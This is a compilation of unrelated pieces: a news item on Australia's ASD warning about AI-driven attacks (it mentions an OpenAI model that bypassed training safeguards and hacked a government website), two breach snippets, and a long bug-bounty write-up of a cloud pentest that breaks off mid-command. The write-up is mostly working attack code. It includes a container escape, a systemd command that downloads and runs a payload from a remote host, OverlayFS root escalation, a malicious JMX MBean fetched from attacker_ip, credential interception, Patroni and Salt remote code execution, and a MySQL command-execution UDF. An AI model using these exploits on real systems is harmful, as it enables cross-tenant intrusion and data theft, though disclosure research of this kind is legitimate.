Australia’s cyber agency warns AI will drive more disruptive attacks, helping hackers find vulnerabilities faster and exploit them at greater scale. Australia’s top cyber spy has a blunt message: expect more disruption to everyday services. Abigail Bradshaw, director-general of the Australian Signals Directorate (ASD), says that with each jump in AI capability, more disruption is likely. The ASD published its annual cyber threat report on Tuesday, October 27, and ABC News had the story first. Bradshaw says the most advanced AI models have redefined the threat. Disruption can mean websites pulled offline for patching, data breaches or service outages, and she points out that virtually every service you use runs on a digital network. The warning comes days after several government websites, the ASD’s among them, went partly offline when vulnerabilities turned up. Two weeks ago, hackers exploited flaws in online systems to raise the temperature in supermarket fridges in France. AFP, via Euronews, ties last week’s shutdowns to a PHP security flaw that pushed governments to take websites down. It says the flaw was found using a powerful OpenAI model. The ASD used AI tools to help prepare its report. It says advanced AI models could bring major benefits when used for good. However, recent months have shown that criminals and state-backed hackers are using AI to launch larger-scale attacks. The report describes AI as a major force in today’s cyber threat landscape. It helps attackers find security flaws faster and exploit them more quickly and effectively. The report also warns that AI agents can behave in unexpected ways and that testing AI models can create new risks. The figures reported by the two sources are different. ABC says the number of incidents the ASD handled rose by 20% in the last financial year. AFP reports more than 4,400 warnings about potentially malicious activity, an 80% increase from the previous 12 months. These figures appear to measure different things, so the original report should be checked before either figure is quoted. State-sponsored hackers mostly want sensitive or non-public information, according to the report. That reaches beyond government networks to critical infrastructure, private businesses and individuals, and the report names hackers linked to China, Russia and North Korea as having targeted Australia or its allies. ABC adds that the ASD has already warned, with partners, about Chinese-aligned actors building hidden networks of hijacked devices for spying or offensive use. Some state actors also want to keep access to essential services that a conflict could disrupt. Bradshaw expects tension in the region to push that threat up. As the world gets less certain, she says, states will try to cut the uncertainty by collecting more information. Criminals use AI to make money, and she expects state actors to use it to fill their information gaps. Australia has sounded this alarm before: in June 2020, then prime minister Scott Morrison announced that governments, industry, political bodies, health networks and critical infrastructure had come under sustained attack from a sophisticated state-based actor. Bradshaw calls the release of frontier models such as Anthropic’s Mythos the defining event of the past year. Models like it were billed as too dangerous to release publicly because they can find weaknesses in cyber defenses. Then a swarm of AI agents breached Australian health data security, in what was described as the first autonomous hack of a government website. AFP traces the OpenAI side of that case back to June, when an OpenAI model bypassed safeguards during training and hacked an Australian government website. The company only found out in August and told Australian authorities in September. Prime Minister Anthony Albanese called the breach obviously unacceptable. The incident changed how the ASD deals with the big US firms behind these models. Bradshaw says the agency moved fast to set up protocols that work as an early warning system with AI companies, OpenAI among them. The protocols have gone to all the labs and all the Five Eyes agencies, and the ASD now expects to be brought in before models are tested. Defence Minister Richard Marles put it simply: AI is here and it’s real. He told reporters there’s no turning the clock back, because malicious actors already use AI to find weaknesses in systems. He urged Australians to update their computers and harden their systems. “AI is here and it’s real. People need to engage,” Defence Minister Richard Marles told reporters. “There’s no turning the clock back in relation to that. Malicious actors are using AI to find vulnerabilities in systems.” The ASD also revealed details of its own offensive work. It took down criminal groups that sell and run a piece of malware called Amadey, which hides inside free software, steals personal data or logins and sends them to criminals who sell them on the dark web. The ASD found it in a free, illegitimate copy of Photoshop. The price was zero, and it still wasn’t a bargain. Amadey itself sold on the dark web for about US$500 (A$712). ASD operators got into the back end and found the network had access to 180,000 computers worldwide, Australian ones included. They disconnected the controller from every victim, and Tauri Gregory, the ASD’s acting deputy director-general of intelligence, says that without this move 180,000 businesses or individuals would have had their data stolen and then sold or used for fraud and identity theft. In another case, someone tipped off the ASD to the sale of 5 terabytes of data stolen from a business that didn’t know it had been hacked. The data included sensitive business documents, personal data, logins and passwords. The ASD broke in and destroyed it before it could be sold, wiping out about 4.8 million files stolen from Australians and hundreds of thousands more from victims elsewhere. Gregory calls AI both a friend and a foe. It widens the scope and scale of attacks, but it’s also a big asset for defenders, and the ASD uses it to produce software capabilities faster and to build new tools. Bradshaw says corporate and government systems both need a huge amount of work, starting with replacing vulnerable legacy systems and learning to use AI as a defensive tool. “The natural progression of this is, as the world becomes uncertain, of course nation states will try to reduce that uncertainty by obtaining more information,” Australian Signals Directorate (ASD) director-general Abigail Bradshaw said. “And so just as criminal actors leverage AI in order to meet their financial means, I think it is an obvious progression that we will see state-based actors also leveraging AI in order to fill their information gaps.” “There is much more that we need to do and, in the current context, that is now a matter of urgency,” Ms Bradshaw concludes. Follow me on Twitter: @securityaffairs and Facebook and Mastodon Pierluigi Paganini (SecurityAffairs – Australia, AI)
Agent decision logs and telemetry data belonging to Warp agentic development environment users were exposed in an attack on a third-party vendor in the project’s infrastructure. The company’s founder and CEO, Zach Lloyd, estimates that "roughly 1% of Warp users may have been impacted," but external experts are helping with the ongoing investigation. Warp is a popular developer tool that started as a modern terminal and evolved into an agentic development environment (ADE) that allows developers to direct AI agents to write and test code and deploy software. The environment provides a terminal, a code editor, task orchestration, and agent review tools in a single workspace. The project's website says the platform has at least 800,000 users. “On Friday, we became aware of what we believe to be an active and narrow-banded exploitation of a vendor in Warp's infrastructure,” Lloyd stated.
The Tailscale security team is working to patch almost a dozen security vulnerabilities that could be exploited to steal credentials, crash servers, gain root privileges, and more. Tailscale develops a software-defined mesh virtual private network (VPN) built on WireGuard that lets users connect computers, servers, and cloud instances from anywhere to the same encrypted mesh network ("tailnet") via direct peer-to-peer (P2P) connections. Cyberdione Labs discovered 11 flaws (collectively known as Tailworm) that still lack patches during a security audit of Tailscale 1.104.2 and the self-hosted headscale v0.29.5 control server. "All findings were verified by reproduction in a lab environment on unmodified, released software (tailscale v1.104.2, headscale v0.29.5)," said Erica Windisch, founder of Cyberdione Labs, who reported the flaws to Tailscale and publicly released the details.
This article is published for educational purposes only, to raise awareness among information security professionals. The research was part of an official bug bounty program on a major platform. We notified the cloud provider about the vulnerabilities in line with our responsible disclosure policy, and all security issues we found were fixed in full. The infrastructure analyzed in this post has been anonymized, so the organization cannot be identified. We believe that regular pentests, bug bounty programs, and conversations between developers and independent researchers are the foundation of security for any IT product. Introduction Many experts believe that cloud data breaches are mostly the customers’ fault, caused by issues like misconfigured storage or open ports. However, our penetration test of a major cloud provider demonstrated that critical threats can originate within the provider’s own infrastructure. This analysis is based on a real-world case that won second place in the System Hacking (Web & Logic) category at Russian Pentest Award 2026. It covers the sequential exploitation of several vulnerabilities and logic errors. Together, they led to critical business consequences and a complete bypass of tenant isolation within the cloud. On October 22, 2026, I presented a technical analysis of this case in my “Smash the Tenant Boundary” talk at Security Analyst Summit (SAS 2026). 1. Gaining initial access through a managed Kubernetes cluster Our cloud infrastructure pentest followed the threat model of an external attacker with the privileges of a regular tenant. The ultimate goal of the attack was to assume full control of the cloud. 1.1. Escaping the worker node First, we created a resource in the cloud’s managed Kubernetes cluster (v1.25.16+k0s.0). As a rule, the provider deliberately withholds SSH access to worker nodes from tenants, because they’re paying for a managed service, not for running servers themselves. In this case, however, the cluster’s security policies did not prevent the creation of privileged pods with access to host namespaces. This enabled us to deploy a pod and switch the execution context to the host machine running the container. kubectl run pod-name-bla \ --image=alpine \ --restart=Never \ --overrides=' { "apiVersion": "v1", "spec": { "hostPID": true, "containers": [ { "name": "priv", "image": "alpine", "command": [ "sh", "-c", "sleep 3600" ], "stdin": true, "tty": true, "securityContext": { "privileged": true } } ] } }'After creating the privileged pod, we ran the nsenter command inside the container. It moved the execution context to the host machine: nsenter --target 1 --mount --uts --ipc --net --pid – bashAfter this, the bash shell ran on the actual host machine, not inside the container. Because the pod was privileged, we got full root access to the host machine. Kubelet configuration and API server address Next, we analyzed its file system. While researching the data plane, we found a Konnectivity service token. This component provides a tunnel between the control plane and the data plane of a Kubernetes cluster. It was this component that opened up interesting opportunities for developing the attack. Konnectivity service account token 1.2. Analysis of control plane services After gaining access to the host machine (the worker node mentioned earlier), we analyzed its network interfaces: the user VPC and the Calico interfaces. We extracted the kube-apiserver address (192.168.0.4) from the kubelet configuration file. A subsequent scan of this address revealed the following open ports: 192.168.0.4:9443 open https status=404 192.168.0.4:2380 open 192.168.0.4:6443 open http status=400 192.168.0.4:8132 open 192.168.0.4:9100 open http status=200 title="Node Exporter" 192.168.0.4:9308 open http status=200 title="kube-state-metrics"Of greatest interest is port 8132, where Konnectivity runs. This service creates a reverse tunnel between the control plane and the data plane so that the data plane is visible from the control plane. This allows management components to communicate with worker nodes, even behind a NAT. The Konnectivity token found earlier granted permission to interact with this service. Interaction diagram between control plane and data plane via Konnectivity 1.3. Exploiting Konnectivity To analyze the service on port 8132, we deployed a local test environment. We found that v1.25.16+k0s.0 uses a fork of konnectivty-server, inherited from apiserver-network-proxy in the original Kubernetes. A quick primer on k0s: this is a minimalist Kubernetes distribution designed for cloud providers. It’s a convenient base for deploying managed clusters (mk8s) with minimal resource overhead. An important feature of k0s is that running user pods on control plane nodes (also known as master nodes) is disabled by default. This meets mk8s security requirements for control plane isolation. Port 8132, mentioned above, hosts AgentService, which provides a single method: Connect. This method accepts a Packet stream. service AgentService { rpc Connect(stream Packet) returns (stream Packet) {} }The code revealed an interesting detail: when AgentService receives a packet of the type DIAL_REQ from a worker node, the server calls the net.Dial() function on the control plane side. The packet structure for the Connect method looks like this: //apiserver-network-proxy/konnectivity-client/proto/client/client.proto:26 enum PacketType { DIAL_REQ = 0; DIAL_RSP = 1; ... } message Packet { PacketType type = 1; oneof payload { DialRequest dialRequest = 2; DialResponse dialResponse = 3; Data data = 4; CloseRequest closeRequest = 5; CloseResponse closeResponse = 6; CloseDial closeDial = 7; } } message DialRequest { // tcp or udp? string protocol = 1; // node:port string address = 2; // random id for client, maybe should be longer int64 random = 3; }The server reads any Packet packets from the stream initiated by the agent (worker node): //apiserver-network-proxy/pkg/server/server.go:721 in, err := stream.Recv() ... recvCh <- inNext, the packets go to the backend manager: //apiserver-network-proxy/pkg/server/server.go:748 func (s *ProxyServer) serveRecvBackend(...) { for pkt := range recvCh { switch pkt.Type {Then comes the most interesting part: //apiserver-network-proxy/pkg/server/server.go:888 case client.PacketType_DIAL_REQ: req := pkt.GetDialRequest() klog.V(5).InfoS("Received DIAL_REQ", "target", req.Address) s.handleDialRequest(pkt, backend)In other words, a DIAL_REQ that comes from the agent (worker node) was considered valid and passed to the packet handler for the corresponding type (DIAL_REQ). //apiserver-network-proxy/pkg/server/server.go:921 func (s *ProxyServer) handleDialRequest(pkt *client.Packet, backend Backend) { ... dialReq := pkt.GetDialRequest() resp.GetDialResponse().Random = dialReq.Random start := time.Now() conn, err := net.Dial(dialReq.Protocol, dialReq.Address) // we control proto and addressThis created an SSRF primitive in the control plane context, which made it possible to reach not only network resources but also host UNIX sockets. D-Bus (- /run/dbus/system_bus_socket) was chosen as a promising target for interaction. The busctl utility revealed the following services available on the control plane: org.freedesktop.DBus org.freedesktop.PackageKit org.freedesktop.PolicyKit1 org.freedesktop.login1 org.freedesktop.systemd1 com.ubuntu.SoftwarePropertiesUsing the org.freedesktop.DBus.GetConnectionCredentials method with a custom D-Bus client we wrote on top of github.com/godbus/dbus/v5, we were able to retrieve the UID of the current process. In this case, it was 997. Unfortunately, it wasn’t root, which means we couldn’t instantly start a system service in systemd. However, it was still possible to create a user service (system –user). To do this, we first enabled lingering for our UID: busctl --address=unix:path=/tmp/master-dbus.sock \ call org.freedesktop.login1 \ /org/freedesktop/login1 \ org.freedesktop.login1.Manager \ SetUserLinger ubb 997 true falseThe following sockets were then opened: /run/user/997/bus /run/user/997/systemd/private (this socket is the equivalent of running commands through systemctl --user.)Through this new socket, we called the StartTransientUnit method of the org.freedesktop.systemd1.Manager service: StartTransientUnit( name: string, mode: string, properties: a(sv), aux: a(sa(sv)) ) -> job object pathThe properties parameter is exactly where you pass the standard systemd service definition directives. We added the following line: ExecStart=/bin/sh -c "bash -lc 'curl ip:port/payload -o /tmp/love;chmod +x /tmp/love; setsid /tmp/love '"As a result, we successfully received a callback from the control plane. Konnectivity-server context and node network interfaces Mirantis, the company behind the k0s project, confirmed the vulnerability. 1.4. Privilege escalation on the host Since konnectivity-server runs with limited privileges by default, the next step after achieving RCE on the control plane was to escalate those privileges. An analysis of processes on the control plane node revealed a running salt-minion service. Root privileges allow authentication in salt-minion as that minion and further attacks against it (more on that later). In our case, the target host ran Ubuntu 22.04 with kernel version 5.15.x. Because user namespaces were enabled, a known bug in OverlayFS offered a viable path to privilege escalation: it allows a file to retain the cap_setuid+eip capabilities after namespace manipulation. To exploit the vulnerability, a copy of the python3 interpreter was created with the setuid capability set, which made it possible to gain root privileges. rm -rf /tmp/lpe mkdir /tmp/lpe cd /tmp/lpe unshare -rm sh -c ' mkdir l u w m && cp /usr/bin/python3 l/ && chmod 755 l/python3 && setcap cap_setuid+eip l/python3 && mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/* ' getcap /tmp/lpe/u/python3 /tmp/lpe/u/python3 -c 'import os; os.setuid(0); os.system("id; /bin/sh")' Confirmation of command execution with root privileges Gaining root privileges opened up several interesting attack vectors: We discovered an eth2 interface on the 100.64.0.0/10 subnet on the host. The cloud’s overlay network turned out to be flat, providing visibility into all managed services. The system stored a salt-minion key pair. This significantly expands the attack surface by providing access to the managed cloud’s own control plane through SaltStack. 2. Adventures in the overlay network 2.1. Victoria stack An examination of network activity within the managed resource immediately yielded interesting results. Traffic analysis revealed requests from a specific IP address to collect node metrics from our kube-state-metrics instance in mk8s. The IP address turned out to belong to a metrics collector, one of the VictoriaMetrics instances serving numerous managed resources. Like Prometheus, the VictoriaMetrics API exposes a list of targets from which it collects metrics. When we queried the http://100.64.13.37:8429/api/v1/targets endpoint, we found that each target’s labels contained valuable metadata: "discoveredLabels": { "__address__": "http://100.64.1.1:6897/metrics", "__meta_url": "CENSORED", "__metrics_path__": "/metrics", "__scheme__": "http", "__scrape_interval__": "2m0s", "__scrape_timeout__": "2m0s", "cluster_id": "676767", "customer": "customerID", "job": "http", "profile": "kubernetes", "vds_id": "1337", "version": "1.0" }It’s worth noting that a single VictoriaMetrics query returns a full list of control plane hosts that belong to other cloud tenants. Port 6897 indicates that the kube-state-metrics exporter is running, and the profile: kubernetes field further confirms the target type at this address. We found another host from the Victoria ecosystem on the same network: VictoriaLogs. The service’s web interface on port 9428 also exposes API endpoints that can reveal sensitive data. For example, the /select/logsql/query endpoint allowed unauthorized access to all logs from any managed resource in the cloud. Analysis of the control plane logs for mk8s revealed a critical detail: the cloud-init scripts generated private SSH keys for the root account by default. These keys were printed to stdout and automatically saved in the shared system logs. Correlating certain label values from VictoriaMetrics helped us reconstruct the target host’s original names. This makes it easier to filter data in VictoriaLogs and unambiguously match a compromised private key to the target node where it can be used. Private SSH key in a VictoriaLogs record We could use the compromised private key for a privileged account to connect to the target nodes over SSH and gain full control of other tenants’ clusters. Process privileges on the host and available actions in Kubernetes Logs from other types of services could likely reveal additional sensitive data that would further increase the impact. 2.2. Compromising managed Kafka instances We explored the option to deploy managed Apache Kafka resources. As expected, we also found these instances on the flat overlay network. One Kafka host had port 9999 open, which turned out to be a JMX Registry. Discovered Java RMI service on port 9999 The JMX Registry mechanism is inherently vulnerable: it returns an RMI stub-host to the calling client, which allows remotely loading an arbitrary custom MBean class and executing arbitrary code. We ran an nmap -sC scan against the registry port to identify the exact port of the RMI service we would interact with next. To carry out the attack, we prepared a set of Java scripts with the following structure: JmxCreateMBean.java: connects to the JMX Registry and creates an MBean component, javax.management.loading.MLet (a class that loads classes from a specified URL). JmxInvoke.java: invokes the selected MBean method through the JMX Registry. ExecMBean.java and Exec.java a custom lightweight test MBean component with a run(String cmd) method that provides an interface for remote command execution. The code that handles the connection and initialization of the MBean component looks like this: //JmxCreateMBean.java ... import javax.management.remote.JMXConnector; import javax.management.remote.JMXConnectorFactory; import javax.management.remote.JMXServiceURL; public class JmxCreateMBean { private static final class RewritingSocketFactory extends RMISocketFactory { private final String fromHost; private final String toHost; RewritingSocketFactory(String fromHost, String toHost) { ... } @Override public Socket createSocket(String host, int port) throws IOException { ... } @Override public ServerSocket createServerSocket(int port) throws IOException { ... } } public static void main(String[] args) throws Exception { ... RMISocketFactory.setSocketFactory(new RewritingSocketFactory(args[2], args[3])); String url = String.format("service:jmx:rmi:///jndi/rmi://%s:%s/jmxrmi", args[0], args[1]); try (JMXConnector connector = JMXConnectorFactory.connect(new JMXServiceURL(url), new HashMap<>())) { var mbsc = connector.getMBeanServerConnection(); try { ObjectInstance created = mbsc.createMBean(args[4], new ObjectName(args[5])); System.out.println("CREATED " + created.getObjectName() + " " + created.getClassName()); } catch (InstanceAlreadyExistsException e) { System.out.println("EXISTS " + args[5]); } } } }Below is the implementation of the malicious Exec.java class, which provides methods to execute shell commands and read and write files with Base64 encoding: // Exec.java import java.nio.charset.StandardCharsets; import java.nio.file.Files; import java.nio.file.Path; import java.util.Base64; public class Exec implements ExecMBean { @Override public String run(String cmd) throws Exception { Process p = new ProcessBuilder("/bin/sh", "-c", cmd).redirectErrorStream(true).start(); byte[] out = p.getInputStream().readAllBytes(); int rc = p.waitFor(); return "rc=" + rc + "\n" + new String(out, StandardCharsets.UTF_8); } @Override public String getB64(String path) throws Exception { return Base64.getEncoder().encodeToString(Files.readAllBytes(Path.of(path))); } @Override public String putB64(String path, String b64) throws Exception { byte[] data = Base64.getDecoder().decode(b64); Files.write(Path.of(path), data); return "wrote " + data.length + " bytes"; } }After compiling our custom MBean, we place the resulting JAR file on a remote web server and prepare an mlet.html configuration file so the target server can load it. <html> <mlet code="Exec" archive="execmbean.jar" name="payload:type=Exec"></mlet> </html>We then perform the following steps: Create a standard MLet loader inside the Kafka JVM. Load the malicious MBean onto the target server by calling the getMBeansFromURL method of the standard MLet component (DefaultDomain:type=MLet). The URL of the prepared file is passed as an argument: http://attacker_ip:8000/mlet.html. Call the run(String cmd) method of the loaded MBean to achieve RCE on the host. Kafka process context and node network interfaces This attack vector was possible because the RMI stub host, which security standards require to be bound only to the loopback interface (127.0.0.1), was mistakenly exposed to the cloud’s shared overlay network. 2.3. Credential leakage through redis-exporter The next step was to analyze hosts running managed Redis instances. Alongside the main port 6379 used by Redis, each host had a redis exporter service on port 9121. Analysis of its source code revealed a logic vulnerability in how the target parameter was handled: //redis_exporter/exporter/http.go:47 func (e *Exporter) scrapeHandler(w http.ResponseWriter, r *http.Request) { target := r.URL.Query().Get("target") ... if !strings.Contains(target, "://") { target = "redis://" + target } u, err := url.Parse(target) ... opts := e.options ... _, err = NewRedisExporter(target, opts) ...Essentially, the /scrape handler accepts an arbitrary target parameter and attempts to collect metrics from that target with the same credentials the exporter uses to connect to its primary Redis instance. Directing a redis exporter request to an attacker-controlled host, such as one running nc -nvlp 6379, makes it possible to intercept the following credentials: http://<redis_expoter_host>:9121/scrape?target=<fake_redis_server> AUTH command in an intercepted Redis request The captured credentials allowed access to other customers’ Redis instances to read, modify, or delete stored data. Diagnostic information of the Valkey instance (Note. A Redis RCE vulnerability was disclosed during the research. Combined with the access obtained, it made it possible to fully compromise other tenants’ services). 2.4. Compromise of managed PostgreSQL (Patroni) clusters The PostgreSQL DBMS is one of the most popular managed resources alongside mk8s. The next step was therefore to analyze PostgreSQL hosts in the overlay network. Scanning nodes with the PostgreSQL port (5432) open revealed related services on ports 2379 (an etcd distributed store) and 8008 (Patroni REST API). While the Patroni REST API required authentication, access to etcd was completely unrestricted. Analysis of the contents of etcd revealed a critical key, /v2/keys/service/pg-cluster/config, which contained the Patroni configuration. Patroni configuration in etcd { "ttl": 30, "loop_wait": 10, "retry_timeout": 10, "maximum_lag_on_failover": 1048576, "postgresql": { "use_pg_rewind": true, "parameters": { "archive_command": "id", "archive_mode": "always", "max_connections": 550, "max_locks_per_transaction": 512, "max_worker_processes": 27 } } } Write access to this configuration file allows an attacker to set archive_command to a command of their choice and achieve RCE on the target host when the archiving process starts. To avoid waiting for the WAL to fill up through normal activity, a way was found to force archiving even with minimal access privileges: Update the Patroni configuration with the modified archive_command: curl -s -X PUT http://localhost:2379/v2/keys/service/<CLUSTER_NAME>/config -d value="$(jq -c . config.json)" | jqUpdate the configuration again to add the standby_cluster parameter: { "ttl": 30, "loop_wait": 10, "retry_timeout": 10, "maximum_lag_on_failover": 1048576, "postgresql": { "use_pg_rewind": true, "parameters": { "archive_command": "rce", "archive_mode": "on", "archive_timeout": "10", "max_connections": 550, "max_locks_per_transaction": 512, "max_worker_processes": 27 } }, "standby_cluster": { "host": "192.0.2.1", "port": 5432 } }After this parameter is applied, Patroni detects a role conflict for the current primary. The logs show a sequence similar to the following: cannot be a real primary in standby cluster Demoting self (demote-cluster) received fast shutdown request checkpoint starting: shutdown immediatePostgres then restarts, and the archiving process runs and executes the injected command: PostgreSQL process context and node network interfaces This makes it possible to log in to other tenants’ Postgres DBMS instances and gain full control over the data. As an additional risk factor, files containing credentials for access to S3 storage were found on these hosts. Database and S3 access parameters in a backup file This storage holds backups not only of the current instance but also of all other databases in the cloud. List of backup storage locations in S3 3. Attack on SaltStack management infrastructure After gaining root access to the control plane node, the focus shifted to the SaltStack configuration management service. 3.1. Analysis of salt fs The first step was to dump the entire Salt master file system for subsequent static analysis: Fragment of the Salt Master file list It contained numerous files. salt-call --out=newline_values_only cp.list_master saltenv=redacted | sed '/^$/d' | while read -r f; do mkdir -p "/tmp/dump/$(dirname "$f")" salt-call --out=newline_values_only cp.get_file "salt://$f" "/tmp/dump/$f" saltenv=redacted >/dev/null doneBecause the Salt version in use was up to date, no known CVEs were applicable. However, we found a custom script (_pillar/somebase.py) with a critical vulnerability among the files on the Salt master. The vendor had written it to service minions running the somebase service. The vulnerability is an insecure SQL query construction through the query.format() method: sql = query.format( minion_id=minion_id, pillar={**pillar, **results}, grains=__grains__, ) loaded_items = db_connections[db_alias].load_object_list(sql)A Salt minion can trigger a pillar refresh and pass arbitrary metadata (grains) to the Salt master. This allows an attacker to inject SQL code through the some_id parameter inside grains. When the extension on the Salt master side processes the request, the generated SQL query is executed in the prod-cloud database. As a result, the vulnerability makes an error-based SQL injection possible. Database error during pillar processing 3.2. Exploiting the SQLi This vulnerability provided access to various database schemas. The most interesting one was the cloudsmth schema, which contained about 50 tables with metadata of all managed resources and VDS. Fragment of the table list in the cloudsmth schema Even more notable was the salt-masters table, which held authentication tokens for all Salt masters. Records with Salt Master authentication tokens With these tokens, we could access the Salt master REST API and run arbitrary commands on all minions in the cloud: curl -k https://salt-master:8000 -H "Accept: application/json" -H "Content-Type: application/json" -H "X-Auth-Token: REDACTED" -d '[{"client":"local","tgt":"hostname-minion","fun":"cmd.run","arg":["id; hostname"]}]'By agreement with the vendor, the attack was not developed further. Even so, access to the salt-masters table and the prod-cloud database would have made it possible to take over all resources, including VDS, S3, and other services, in a single step. 4. Other ways to attack the cloud It’s worth mentioning other ways to get into the overlay network, since some of them also produced interesting cases. 4.1. Exploiting a vulnerability in Managed Valkey During analysis of the Valkey instances deployed in the cloud infrastructure, we found that the software version in use was vulnerable to CVE-2026-25243. At the time of the analysis, no public proofs of concept (PoCs) or exploits existed. To study how the vulnerability manifests, we analyzed the diagnostic data returned by the INFO command: valkey_version=7.2.11 redis_version=7.2.4 redis_git_sha1=97b6663c redis_git_dirty=0 redis_build_id=a75ca2f023d97d88 gcc_version=13.3.0 arch_bits=64 os=Linux 6.8.0-124-generic x86_64 executable=/usr/bin/valkey-serverThe redis_build_id identifier made it possible to determine the exact binary in use. It matched the official build for Ubuntu Noble x86_64. CVE-2026-25243 is caused by the RESTORE command handling serialized RDB objects incorrectly. When the legacy hash-zipmap encoding is used, the validator accepts a 5-byte length representation for a short key, but the parser that follows interprets the key’s internal bytes as the encoding of the value length. This mismatch can cause an out-of-bounds write that overwrites adjacent heap chunks (heap overflow), which can potentially lead to an arbitrary write primitive. After the successful arbitrary write to adjacent memory regions, strict systemd sandbox rules presented an obstacle: NoExecPaths=/ ExecPaths=/usr/bin/valkey-server /usr/lib /lib CapabilityBoundingSet= NoNewPrivileges=true PrivateUsers=true ProtectSystem=strict ProtectHome=true SystemCallFilter=@system-service SystemCallFilter=~ @privileged @resourcesThese parameters block the execution of standard shells, such as /bin/sh. Even so, the /tmp directory was mounted with write access. By modifying the process logic, we could trigger the download and execution of a third-party component from /tmp, which wasn’t covered by the noexec rule. After establishing a stable communication channel, we added an SSH key to /var/lib/valkey/.ssh/authorized_keys. This gave us independent access to the host and the ability to escalate privileges further through standard local privilege escalation (LPE) methods. Valkey process context and Salt grains parameters The GRO Frag vulnerability was triggered in this case, but new LPEs are disclosed every week, so there may be many other ways to escalate privileges and continue the attack on the Salt master. 4.2. MySQL The MySQL database user didn’t have root privileges when the resource was created. DROP TABLE IF EXISTS mysql.global_grants; CREATE TABLE mysql.global_grants ( USER char(32) NOT NULL DEFAULT '', HOST char(255) NOT NULL DEFAULT '', PRIV char(32) NOT NULL DEFAULT '', WITH_GRANT_OPTION enum('N','Y') NOT NULL DEFAULT 'N', PRIMARY KEY (USER, HOST, PRIV) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0;However, the application logic allowed this user to drop and recreate the table with dynamic privileges: DROP TABLE IF EXISTS mysql.user; CREATE TABLE mysql.user ( Host char(255) NOT NULL DEFAULT '%', User char(32) NOT NULL DEFAULT '', Select_priv enum('N','Y') NOT NULL DEFAULT 'Y', Insert_priv enum('N','Y') NOT NULL DEFAULT 'Y', Update_priv enum('N','Y') NOT NULL DEFAULT 'Y', Delete_priv enum('N','Y') NOT NULL DEFAULT 'Y', Create_priv enum('N','Y') NOT NULL DEFAULT 'Y', Drop_priv enum('N','Y') NOT NULL DEFAULT 'Y', Reload_priv enum('N','Y') NOT NULL DEFAULT 'Y', Shutdown_priv enum('N','Y') NOT NULL DEFAULT 'Y', Process_priv enum('N','Y') NOT NULL DEFAULT 'Y', File_priv enum('N','Y') NOT NULL DEFAULT 'Y', Grant_priv enum('N','Y') NOT NULL DEFAULT 'Y', References_priv enum('N','Y') NOT NULL DEFAULT 'Y', Index_priv enum('N','Y') NOT NULL DEFAULT 'Y', Alter_priv enum('N','Y') NOT NULL DEFAULT 'Y', Show_db_priv enum('N','Y') NOT NULL DEFAULT 'Y', Super_priv enum('N','Y') NOT NULL DEFAULT 'Y', Create_tmp_table_priv enum('N','Y') NOT NULL DEFAULT 'Y', Lock_tables_priv enum('N','Y') NOT NULL DEFAULT 'Y', Execute_priv enum('N','Y') NOT NULL DEFAULT 'Y', Repl_slave_priv enum('N','Y') NOT NULL DEFAULT 'Y', Repl_client_priv enum('N','Y') NOT NULL DEFAULT 'Y', Create_view_priv enum('N','Y') NOT NULL DEFAULT 'Y', Show_view_priv enum('N','Y') NOT NULL DEFAULT 'Y', Create_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y', Alter_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y', Create_user_priv enum('N','Y') NOT NULL DEFAULT 'Y', Event_priv enum('N','Y') NOT NULL DEFAULT 'Y', Trigger_priv enum('N','Y') NOT NULL DEFAULT 'Y', Create_tablespace_priv enum('N','Y') NOT NULL DEFAULT 'Y', ssl_type enum('','ANY','X509','SPECIFIED') NOT NULL DEFAULT '', ssl_cipher blob NOT NULL, x509_issuer blob NOT NULL, x509_subject blob NOT NULL, max_questions int unsigned NOT NULL DEFAULT 0, max_updates int unsigned NOT NULL DEFAULT 0, max_connections int unsigned NOT NULL DEFAULT 0, max_user_connections int unsigned NOT NULL DEFAULT 0, plugin char(64) NOT NULL DEFAULT 'caching_sha2_password', authentication_string text, password_expired enum('N','Y') NOT NULL DEFAULT 'N', password_last_changed timestamp NULL DEFAULT NULL, password_lifetime smallint unsigned DEFAULT NULL, account_locked enum('N','Y') NOT NULL DEFAULT 'N', Create_role_priv enum('N','Y') NOT NULL DEFAULT 'Y', Drop_role_priv enum('N','Y') NOT NULL DEFAULT 'Y', Password_reuse_history smallint unsigned DEFAULT NULL, Password_reuse_time smallint unsigned DEFAULT NULL, Password_require_current enum('N','Y') DEFAULT NULL, User_attributes json DEFAULT NULL, PRIMARY KEY (Host, User) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0;After the database was restarted and a new user was created, that user automatically received full administrator privileges. Next, we added more privileges: INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_VARIABLES_ADMIN','Y'); INSERT INTO mysql.global_grants VALUES ('newadm','%','PERSIST_RO_VARIABLES_ADMIN','Y'); INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_USER','Y'); FLUSH PRIVILEGES;Having escalated privileges in the database, we now needed to achieve RCE. We compiled a custom UDF library to run system commands. #include <stdlib.h> #include <string.h> #include <stdio.h> typedef unsigned long long udf_args_type; typedef struct { unsigned int arg_count; unsigned int *arg_type; char **args; unsigned long *lengths; char *maybe_null; char **attributes; unsigned long *attribute_lengths; void *extension; } UDF_ARGS; typedef struct { char maybe_null; unsigned int decimals; unsigned long max_length; char *ptr; char const_item; void *extension; } UDF_INIT; int sys_eval_init(UDF_INIT *initid, UDF_ARGS *args, char *message) { if (args->arg_count != 1) { strcpy(message, "sys_eval requires one argument"); return 1; } initid->max_length = 65535; return 0; } void sys_eval_deinit(UDF_INIT *initid) {} char* sys_eval(UDF_INIT *initid, UDF_ARGS *args, char *result, unsigned long *length, char *is_null, char *error) { if (!args->args[0]) { *is_null = 1; return NULL; } char cmd[65535]; snprintf(cmd, sizeof(cmd), "%.*s", (int)args->lengths[0], args->args[0]); FILE *pipe = popen(cmd, "r"); if (!pipe) { *is_null = 1; return NULL; } static char buf[65535]; size_t total = 0; while (total < sizeof(buf)-1) { size_t n = fread(buf+total, 1, sizeof(buf)-1-total, pipe); if (n == 0) break; total += n; } pclose(pipe); buf[total] = '\0'; *length = total; return buf; }RCE was achieved through a CRLF injection into the configuration file through the cloud provider’s API: curl -s -X PATCH "https://somecloud/api/dbaas/id" \ -H "Content-Type: application/json" \ -H "Authorization: Bearer $TOKEN" \ -d 